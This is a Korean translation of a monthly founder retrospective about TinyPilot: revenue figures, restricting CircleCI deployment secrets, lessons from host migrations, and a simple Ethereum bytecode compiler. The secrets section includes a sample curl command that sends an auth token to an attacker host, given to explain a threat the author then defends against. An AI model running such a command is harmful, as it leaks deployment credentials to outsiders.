TinyPilot: 45개월 차
한 줄 요약
배포에 대해 비판적으로 고민하기.
하이라이트
- TinyPilot 팀과 함께 워크플로를 방해하지 않으면서 배포 시크릿에 대한 접근을 제한했습니다.
- 실수에서 배워 플랫폼 간 서비스 이전 시 다운타임을 줄였습니다.
- 아주 간단한 형태지만 처음으로 컴파일러를 작성했습니다.
목표 달성도
매달 초에 달성하고 싶은 목표를 선언합니다. 목표 대비 성과는 다음과 같습니다:
TinyPilot 릴리스 문서의 빈틈 메우기
- 결과: 지난 릴리스에서 발견된 빈틈을 메웠습니다.
- 평가: A
3월 TinyPilot Pro 릴리스는 제가 직접 릴리스 작업을 하나도 맡지 않은 첫 릴리스였습니다. 릴리스는 순조롭게 진행됐지만, 과정에서 다음 단계가 팀에게 명확하지 않은 지점들이 있었습니다.
개발팀 및 서포트 엔지니어링 팀과 포스트모템을 진행해 릴리스에 대한 피드백을 모았습니다. 그 미팅에서 프로세스에 대한 유용한 피드백이 많이 나왔고, 겪었던 문제들을 해결하기 위해 내부 문서와 플레이북을 개정했습니다.
2023년 세금 신고 완료
- 결과: 모든 세금 서류를 기한 내에 제출했습니다.
- 평가: A
올해는 처음으로 부부 공동 신고를 하면서 몇 가지 세금 서류를 기다려야 해서 세금 신고가 복잡했지만, 이제 모든 서류가 제출되었습니다.
TinyPilot 통계
| 지표 | 2024년 2월 | 2024년 3월 | 변동 |
|---|---|---|---|
| 순 방문자 수 | 13,000 | 9,100 | -3,900 (-30%) |
| 판매 매출 | $82,517.42 | $107,809.83 | +$25,292.41 (+31%) |
| 엔터프라이즈 구독 | $290.70 | $290.70 | 0 |
| 로열티 | $3,373.65 | $2,442.12 | -$931.53 (-28%) |
| 총 매출 | $86,181.77 | $110,542.65 | +$24,360.88 (+28%) |
| 수익 | $23,599.09 | $3,193.73 | -$20,405.36 (-86%) |
3월은 TinyPilot 역사상 판매 매출이 가장 높았던 달로, 이전 최고 기록을 $600 차이로 근소하게 넘어섰습니다. 한 달 단위로 보면 수익은 감소했지만, 더 의미 있는 지표는 3개월 평균이며 그 수치는 여전히 견조합니다.
방문자 수는 지난달보다 줄었지만, 이는 2월에 6년 차 회고 글로 인한 비정상적인 방문 급증이 있었기 때문입니다.
TinyPilot 프로덕션 시크릿 접근 권한 강화
지난 몇 달간 우리는 TinyPilot의 릴리스 프로세스를 더 자동화되고 저에게 덜 의존적인 방식으로 개선해 왔습니다.
릴리스 워크플로를 검토하는 과정에서 너무 많은 팀원이 프로덕션 시크릿에 접근할 수 있다는 사실을 알게 됐습니다. 프로덕션 시크릿에는 웹사이트나 TinyPilot 애플리케이션의 새 버전을 배포하기 위한 인증 토큰 같은 것들이 포함됩니다.
우리는 작은 팀이라, 여기서 “너무 많은” 팀원이란 다섯 명 중 한 명이 아니라 다섯 명 모두가 접근 권한을 가진 상황을 의미합니다. 그래도 네 명은 필요하지 않은데도 프로덕션 시크릿에 접근할 수 있었습니다.
대부분의 TinyPilot 리포지토리는 “push on green” 방식입니다. 즉, 지속적 통합 서비스인 CircleCI에서 자동 테스트를 통과하면 모든 코드 변경을 바로 프로덕션에 푸시합니다.
우리는 시크릿을 CircleCI 환경 변수로 저장합니다. 환경 변수는 쓰기 전용이라 저장 후에는 값을 읽을 수 없다는 점에서 처음에는 괜찮아 보였습니다.

CircleCI 관리자 인터페이스는 환경 변수 값의 일부만 보여주며, CircleCI 관리자만 이를 볼 수 있습니다. 참고로 표시된 값은 가짜 값입니다.
시크릿 보호에 대해 더 비판적으로 고민하기 시작하자, CircleCI 웹 UI가 보여주는 것과 달리 사실상 다섯 명 모두가 환경 변수에 접근할 수 있다는 사실을 깨달았습니다. 악의적인 팀원은 두 가지 방법 중 하나로 시크릿을 빼낼 수 있었습니다:
- 코드 리포지토리에 새 브랜치를 만들고 CircleCI 설정 파일을 수정해 자신이 제어하는 원격 서버로 시크릿을 빼돌리는 변경을 푸시할 수 있습니다. 예:
curl http://attacker-server.example.com/exfiltrate?token=$AUTH_TOKEN - CircleCI 잡에 SSH로 접속해 명령줄에
echo $AUTH_TOKEN을 입력할 수 있습니다.
(1)은 어느 정도 탐지가 가능했지만, 우리가 실제로 확인해 본 적은 없었습니다. (2)는 탐지 자체가 불가능했는데, CircleCI가 SSH 세션을 로그로 남기지 않기 때문입니다.
이 공격은 TinyPilot 팀 내부에서만 가능했을 것입니다. 외부 기여자는 CircleCI 환경 변수에 전혀 접근할 수 없기 때문입니다.
접근 권한을 강화할 방법을 찾아본 결과, CircleCI 문서에서는 보안상 민감한 시크릿을 “컨텍스트(contexts)”에 저장하라고 권장하고 있었습니다. 컨텍스트도 여전히 환경 변수이지만 추가적인 접근 제어가 가능합니다.
보안 컨텍스트는 특정 사용자 집합으로만 접근을 제한할 수 있었습니다. 그래서 기존 워크플로를 유지하려면 결국 모두에게 시크릿 접근 권한을 줘야 했고, 그러면 다시 원점으로 돌아가는 셈이었습니다. 임의로 일부 팀원만 신뢰할 수 있다고 정하고 모든 배포를 그들이 시작하도록 할 수도 있었지만, 그러면 엄청난 마찰이 생겼을 것입니다.
CircleCI 지원팀에 문의했더니, 마침 우리의 문제를 해결해 줄 기능을 곧 출시할 예정이라고 했습니다. 2주 후 CircleCI는 표현식 기반 컨텍스트 제한(expression-based context restrictions)을 출시했고, 실제로 우리의 문제를 완벽하게 해결해 주었습니다.
CircleCI의 표현식 기반 제한 덕분에 사용자 허용 목록을 넘어 컨텍스트에 더 다양한 제한을 걸 수 있게 됐습니다. 특정 브랜치로만 제한하고 SSH가 활성화된 경우에는 접근을 차단할 수 있었습니다. 결국 우리는 다음과 같은 표현식을 사용하게 됐습니다:
pipeline.git.branch == "master" and not job.ssh.enabled이 표현식은 (1)번 공격을 완화합니다. 악의적인 팀원이 브랜치를 이용해 시크릿을 빼돌리려 해도 해당 브랜치에서는 시크릿에 접근할 수 없기 때문입니다.
이 표현식은 사용자가 SSH 접근이 활성화된 CircleCI 잡을 시작하면 시크릿을 아예 사용할 수 없게 만들어 (2)번 공격도 완화합니다.
우리의 master 브랜치는 모든 변경에 최소 한 명의 승인이 필요하므로, 이 시스템은 두 명의 팀원이 공모하는 악의적인 공격에는 여전히 취약합니다. 한 명의 팀원이 시크릿을 빼돌리는 코드 변경을 올리고 공모자가 이를 승인할 수 있습니다. 하지만 이는 매우 눈에 띄는 공격일 것입니다. 자주 작업하는 파일에 변경이 생기고 누가 올렸는지 명확한 감사 추적이 남기 때문입니다.
전반적으로 CircleCI의 표현식 기반 컨텍스트 제한에 만족합니다. CI가 프로덕션 시크릿에 접근하는 팀에 속해 있다면, 필요하지 않은 팀원이 너무 많은 시크릿에 접근하고 있지는 않은지 고민해 보시길 권합니다.
호스트 간 서비스 이전 프로세스 개선
TinyPilot을 시작했을 때는 Google Cloud Platform이나 Amazon Web Services 같은 대형 프로바이더에 서비스를 호스팅하는 편이었습니다. 지난 4년간은 Netlify나 Fly.io 같은 소형 벤더를 더 선호하게 됐습니다.
대부분의 TinyPilot 서비스는 소형 호스팅 플랫폼에서 돌아가고 있지만, 초기에 설정해 두고 옮기지 않은 서비스가 두어 개 남아 있어 통합하기로 했습니다.
한 번의 이전은 다소 험난했고, 그 교훈을 활용해 다음 이전을 더 매끄럽게 만들었습니다.
Firebase에서 Netlify로의 이전 (험난했던 과정)
TinyPilot 웹사이트는 그냥 정적 사이트라 어디서든 호스팅할 수 있습니다. 2020년에는 모든 것을 Firebase로 운영하고 있어 Firebase 호스팅을 사용했고, 그동안은 문제없이 잘 돌아갔습니다. 하지만 보안 컨텍스트를 중심으로 배포 흐름을 재구성하면서 Firebase에서 현재 정적 사이트용으로 선호하는 호스트인 Netlify로 옮기기에 좋은 기회라고 생각했습니다.
단순한 이전이 될 것 같았습니다. 동기화를 맞춰야 할 데이터베이스 같은 것도 없었습니다. 그냥 Netlify에 웹사이트를 게시하고 DNS 레코드를 새 호스트를 가리키도록 업데이트하면 되는 일이었습니다.
그렇게 생각했습니다.
Netlify에 게시하고 tinypilotkvm.com의 DNS 항목을 업데이트한 뒤 사이트에 접속해 보니 TLS 오류가 떴습니다.

DNS 항목을 업데이트한 직후 TinyPilot 웹사이트에 접속하자 TLS 오류가 표시됐습니다.
심각한 문제입니다. 브라우저가 신용카드 정보를 탈취할 것처럼 경고한 직후에 쇼핑하고 싶은 사람은 아무도 없습니다.
더 나쁜 점은 이 변경을 동부 시간 기준 목요일 오전 9시 30분에 했다는 것입니다. 유료 고객이 가장 많이 몰리는 시간대였습니다.
Netlify가 아직 TLS 인증서를 생성하지 않은 걸까요? TLS 오류를 확인해 보니 브라우저가 Firebase의 TLS 인증서에 대해 불평하고 있었습니다. 어? Firebase가 여전히 잘못된 인증서로 예전 사이트를 서빙하고 있는 걸까요?
제 머릿속 방문자 모델은 DNS 서버 정보의 신선도에 따라 두 부류로 나뉜다는 것이었습니다:
- 예전 Firebase IP 주소를 가진 DNS 서버에 조회한다 -> DNS를 업데이트하기 전처럼 동작하는 예전 Firebase 버전을 본다.
- 새 Netlify IP 주소를 가진 DNS 서버에 조회한다 -> 정상 동작하는 새 Netlify 버전을 본다.
지금도 왜 Firebase 인증서 오류가 떴는지 이해하지 못합니다. 제가 상상할 수 있는 유일한 설명은 Firebase가 DNS 변경에 반응해 관련 DNS 레코드가 바뀌면 즉시 인증서를 무효화한다는 것입니다. 하지만 Firebase 관리자 대시보드에서는 여전히 인증서가 유효하다고 표시되고 있었습니다.
임시방편으로 Firebase가 방문자를 전날 새 사이트용으로 설정해 둔 스테이징 도메인인 netlify-preview.tinypilotkvm.com으로 리다이렉트하도록 설정했습니다. 다행히 작동해서 고객들은 더 이상 TLS 오류를 보지 않게 됐습니다. 뭔가 잘못됐다는 인상을 강하게 주는 netlify-preview 같은 어색한 스테이징 도메인을 선택한 것이 아쉽지만, TLS 오류보다는 나았습니다.
이후 하루 동안은 예전 Firebase 사이트가 여전히 트래픽을 받았지만, 며칠에 걸쳐 서서히 0으로 줄었습니다. 일주일 뒤 Firebase 사이트를 종료했습니다.
AWS에서 Fly.io로의 이전 (매끄러웠던 과정)
TinyPilot은 사용자로부터 진단 로그를 수집하기 위해 LogPaste 서버를 사용합니다. 기본적인 Go 앱이고, Go 서비스용으로 선호하는 플랫폼은 Fly.io입니다. 하지만 TinyPilot의 LogPaste 서버는 AWS LightSail에서 돌아가고 있어 LightSail에서 Fly.io로 옮기기로 했습니다.
LogPaste 이전은 TinyPilot 웹사이트 이전보다 약간 더 어려웠습니다. SQLite 데이터베이스가 있기 때문입니다. 하지만 LogPaste 서버가 며칠 정도 다운되더라도 큰 문제는 아니어서 위험 부담은 더 낮았습니다.
이전 전날, logs.tinypilotkvm.com DNS 항목의 TTL을 1분으로 낮췄습니다. DNS 서버가 TTL을 꼭 지킬 의무는 없지만, 지키는 서버에서는 캐시를 제한하는 데 도움이 될 거라 생각했습니다.
또한 Fly.io에 LogPaste 스테이징 버전을 logs2.tinypilotkvm.com 도메인으로 배포했습니다. 이렇게 하면 TinyPilot 웹사이트 때처럼 리다이렉트 트릭을 써야 할 경우 사용자를 안내할 덜 어색한 URL이 확보됩니다.
예전 LightSail 버전에서 새 Fly.io 버전으로 데이터를 옮길 수 있는 마이그레이션 스크립트도 준비했습니다. Amazon S3 버킷에서 프로덕션 데이터베이스를 다운로드하고 새 Fly.io 서버를 뒷받침하는 스토리지 버킷에 업로드하는 간단한 bash 스크립트였습니다.
배포 당일에는 잠에서 깨자마자 오전 7시에 마이그레이션을 실행했습니다. 임시 장애가 발생하더라도 영향을 받는 사람이 조금이라도 적도록 하기 위해서였습니다.
다행히 마이그레이션은 매끄럽게 진행됐습니다. 체인에 있는 모든 DNS 서버가 1분 TTL을 존중하는 듯했고, Fly.io 서버 로그에 logs.tinypilotkvm.com으로 들어오는 LogPaste 요청이 거의 즉시 처리되는 것이 보였습니다.
LightSail 버전은 일주일 더 유지한 뒤 더 이상 트래픽이 들어오지 않는 것을 확인하고 삭제했습니다.
호스트 간 서비스 이전을 위한 일반적인 전략
참고: 이 전략이 최적은 아닐 수 있습니다. 인증서 오류를 최소화하는 더 나은 모범 사례가 있을 것 같지만, 이전에 하던 방식보다는 낫습니다.
다음에 서비스를 호스트 간에 옮겨야 할 때는 이번 달에 배운 이 과정을 따를 예정입니다.
일반적인 예로, example.com URL에서 호스팅하는 서비스를 플랫폼 A에서 플랫폼 B로 옮긴다고 상상해 보겠습니다.
준비일
이전을 계획한 날 하루나 이틀 전에 다음 단계를 수행합니다:
- 서비스를 플랫폼 B에 배포합니다.
- 플랫폼 B에서 서브도메인으로 서비스 인증서를 생성합니다.
- 보통 호스팅 플랫폼의 “커스텀 도메인 추가” 설정에 있습니다.
- 고객이 보기에 어색하지 않은 서브도메인을 선택하세요. 예:
www2.example.com또는web.example.com. insecure-staging.example.com처럼 최종 사용자에게 불안감을 주는 서브도메인은 선택하지 마세요.
- 새 서브도메인에 대해 플랫폼 B를 가리키는 DNS 항목을 추가합니다.
- 새 서브도메인을 통해 플랫폼 B에 접속했을 때 브라우저에서 TLS 오류가 없는지 확인합니다.
- 프로덕션
example.comDNS 항목의 TTL을 1~5분 같은 낮은 값으로 줄입니다. - 플랫폼 B에서 프로덕션
example.com도메인용 인증서를 생성합니다.
이전 당일
이전 당일에는 다음 단계를 수행합니다.
- 트래픽이 적은 시간대를 선택합니다.
- 팀원의 지원이 필요할 수 있다면, 그들이 대응 가능하고 이전 계획을 인지하고 있는지 확인하세요.
example.com의 DNS 항목을 플랫폼 A 대신 플랫폼 B를 가리키도록 업데이트합니다.- 메인
example.comURL을 통해 여전히 서비스에 접근할 수 있는지 확인합니다.
DNS 변경 후 서비스에 접속했을 때 플랫폼 A에 대한 TLS 오류가 보인다면:
- 임시방편으로 플랫폼 A가 준비일에 설정한 스테이징 서브도메인으로 트래픽을 리다이렉트하도록 설정합니다.
dig를 사용해 로컬 컴퓨터 관점에서 DNS 레코드가 언제 만료되는지 확인하고, DNS 항목이 만료된 뒤 TLS 오류가 사라지는지 살펴봅니다.
기존 서버 폐기
이전 후 최소 24시간을 기다린 뒤 다음 단계를 수행합니다:
- 플랫폼 A로의 트래픽이 중단됐는지 확인합니다.
- 플랫폼 A의 서버를 폐기합니다.
- 플랫폼 A 없이도 서비스에 계속 접근할 수 있는지 확인합니다.
- 프로덕션 DNS 항목의 TTL을 60분 같은 적절한 값으로 복원합니다.
- DNS 항목에서 스테이징 서브도메인을 제거합니다.
사이드 프로젝트
간단한 컴파일러 작성하기
Zig와 인터프리터, 이더리움에 대해 더 배우기 위해 지난 몇 달간 eth-zvm이라는 이더리움 가상 머신의 Zig 구현을 작업해 왔습니다.
eth-zvm용 성능 벤치마크를 작성하긴 했지만, 실행하는 프로그램은 다음과 같은 이더리움 바이트코드 조각에 불과했습니다:
60016000526001601ff3그 바이트코드는 수정하기 어렵습니다. 테스트를 수정하고 싶을 때마다 바이트코드를 사람이 읽을 수 있는 형태로 디컴파일하고, 변경한 뒤 다시 원시 바이트로 재컴파일해야 했습니다.
이더리움에는 니모닉 형식이라 불리는 사람이 읽을 수 있는 바이트코드 표현이 있습니다. 그래서 위 바이트코드에 해당하는 니모닉은 다음과 같이 생겼습니다:
PUSH1 0x01
PUSH1 0x00
MSTORE
PUSH1 0x01
PUSH1 0x1f
RETURN여전히 로우레벨이지만 원시 바이트보다는 이해하기 쉽습니다.
테스트를 바이트코드 대신 니모닉 형식으로 저장하고 싶었습니다. 커맨드라인에서 바로 쓸 수 있는 니모닉-바이트코드 컴파일러를 찾아봤지만 마땅한 것을 찾지 못했습니다.
충분히 간단한 작업처럼 보여서 직접 니모닉-바이트코드 컴파일러를 만들기로 했습니다.
컴파일러라고 하기엔 제 컴파일러는 가장 단순한 축에 속합니다. 가능한 모든 입력 토큰과 출력 바이트가 거의 1:1로 매핑됩니다.
아주 간단한 프로그램 예시는 다음과 같습니다:
$ echo 'RETURN' | ./mnc /dev/stdin /dev/stdout
f3opcode 값 for RETURN은 0xf3이므로 출력 바이트코드는 그냥 f3입니다.
인자를 가지는 오프코드가 되면 조금 더 복잡해집니다. 예를 들어 PUSH1은 스택에 1바이트를 푸시합니다:
$ echo 'PUSH1 0x42' | ./mnc /dev/stdin /dev/stdout
604232바이트 값을 스택에 푸시하는 PUSH32도 사용할 수 있습니다:
$ echo 'PUSH32 0x42' | ./mnc /dev/stdin /dev/stdout
7f0000000000000000000000000000000000000000000000000000000000000042인라인 주석도 지원하도록 구현했으므로, 위의 예제 애플리케이션을 주석과 함께 나타내면 다음과 같습니다:
$ tempfile="$(mktemp)" && \
cat << EOF > "${tempfile}"
// Store 0x01 in memory as a 32-byte word.
PUSH1 0x01
PUSH1 0x00
MSTORE
// Return 1 byte from offset 31 in memory.
PUSH1 0x01
PUSH1 0x1f
RETURN
EOF
$ ./mnc "${tempfile}" /dev/stdout
60016000526001601ff3이제 eth-zvm의 벤치마크 예제는 사람이 읽을 수 있는 니모닉 형식으로 저장하고, 벤치마크를 실행할 때 필요할 때마다 바이트코드로 컴파일합니다.
간단한 컴파일러라도 직접 만들어 보니 재미있었습니다. 제 컴파일러는 현재 PUSH1 RETURN처럼 의미상 틀린 코드도 받아들이지만, 제 용도로는 충분합니다. 이 프로젝트는 프로그래밍 언어가 더 깊은 수준에서 어떻게 동작하는지 스스로 배울 수 있는 재미있는 방법이 되고 있습니다.
마무리
무엇을 완료했나?
- TinyPilot 프로덕션 시크릿 접근 권한을 강화했습니다.
- “왜 불필요한 빌드 단계가 내 Zig 앱을 10배 빠르게 만들까?”를 게시했습니다.
- “첫 홈랩 서버 랙 만들기”를 게시했습니다.
- TinyPilot 호스팅을 Fly.io와 Netlify로 통합했습니다.
- RMA 프로세스를 외부 업체에 위탁했습니다.
배운 점
- CI 환경 변수에 시크릿을 저장하는 것은 좋지만, 팀원이 많을수록 접근을 더 엄격히 제한해야 합니다.
- 플랫폼 간 서비스를 이전할 때는 엄격한 접근 방식을 사용하세요.
- 비즈니스를 방해하지 않으면서 실수에서 회복할 시간도 확보할 수 있는 시간대를 선택하세요.
- 이전 최소 하루 전에는 DNS TTL을 낮추세요.
- 이전에 앞서 새 TLS 인증서를 미리 준비하세요.
- 문제가 생겨 최종 사용자가 보게 되더라도 감수할 수 있는 스테이징 서브도메인 이름을 선택하세요.
다음 달 목표
- 세 곳의 새로운 잠재 TinyPilot 유통사 또는 판매 채널과 대화를 시작합니다.
- 두 가지 새로운 TinyPilot 소프트웨어 기능 개발을 감독합니다.
- 제조업체와 협력해 2024년 남은 기간의 생산 계획을 조율합니다.
글을 무작위로 읽기